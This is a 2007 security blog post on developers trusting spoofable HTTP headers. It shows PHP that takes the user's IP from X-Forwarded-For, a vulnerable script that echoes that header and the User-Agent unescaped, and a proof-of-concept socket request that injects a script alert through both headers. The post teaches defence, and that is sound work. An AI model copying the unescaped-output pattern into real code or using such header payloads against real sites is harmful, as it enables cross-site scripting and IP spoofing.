Faking the unexpected

Back to articles

hackvertor

Author:

Gareth Heyes

@hackvertor

Published: Sun, 02 Dec 2007 13:36:32 GMT

Updated: Sat, 22 Mar 2025 15:38:08 GMT

Developers place too much trust in everything, they assume that certain data cannot be faked and therefore these pieces of data can be used as a Trojan horse. Lets take the REMOTE IP of a user, it seems a trusted source because of the TCP/IP connection between the user and the server but take the following example:-

<pre lang="php"> &lt;?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } ?&gt; </pre>

Suddenly a piece of assumed "safe" data is placed in the variable. HTTP_X_FORWARDED_FOR is user input, instead of combining both they should be treated separately and HTTP_X_FORWARDED_FOR should never be used as a means to validate the user's IP. But it gets worse...what if a developer outputs this data? We now have another problem, the attacker can not only fake their IP but the "safe" data becomes a XSS injection point. The following proof of concept highlights this issue:-

<pre lang="php"> &lt;?php if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $userip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $userip = $_SERVER['REMOTE_ADDR']; } echo &quot;ip:&quot; . $userip . &quot;&lt;br&gt;&quot;; echo &quot;user agent:&quot; . $_SERVER['HTTP_USER_AGENT'] . &quot;&lt;br&gt;&quot;; ?&gt; </pre>

The attacker then supplies the following information:-

<pre lang="php"> &lt;?php $fp = fsockopen(&quot;127.0.0.1&quot;, 80, $errno, $errstr, 30); if (!$fp) { echo &quot;$errstr ($errno)&lt;br /&gt;\n&quot;; } else { $out = &quot;GET /ip.php HTTP/1.1\r\n&quot;; $out .= &quot;Host: 127.0.0.1\r\n&quot;; $out .= &quot;X-Forwarded-For: &lt;script&gt;alert(/Faking the unexpected/)&quot;; $out .= &quot;&lt;/script&gt;\r\n&quot;; $out .= &quot;User-Agent: &lt;script&gt;alert(/Faking the unexpected/)&quot;; $out .= &quot;&lt;/script&gt;\r\n&quot;; $out .= &quot;Connection: Close\r\n\r\n&quot;; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp); } ?&gt; </pre>

Which results in XSS on the domain. So my question is, do you have a sick feeling in your stomach now? Or have you got a smug feeling that you ALWAYS filter user-agent, X-Forwarded-For and any other user supplied data?

Back to articles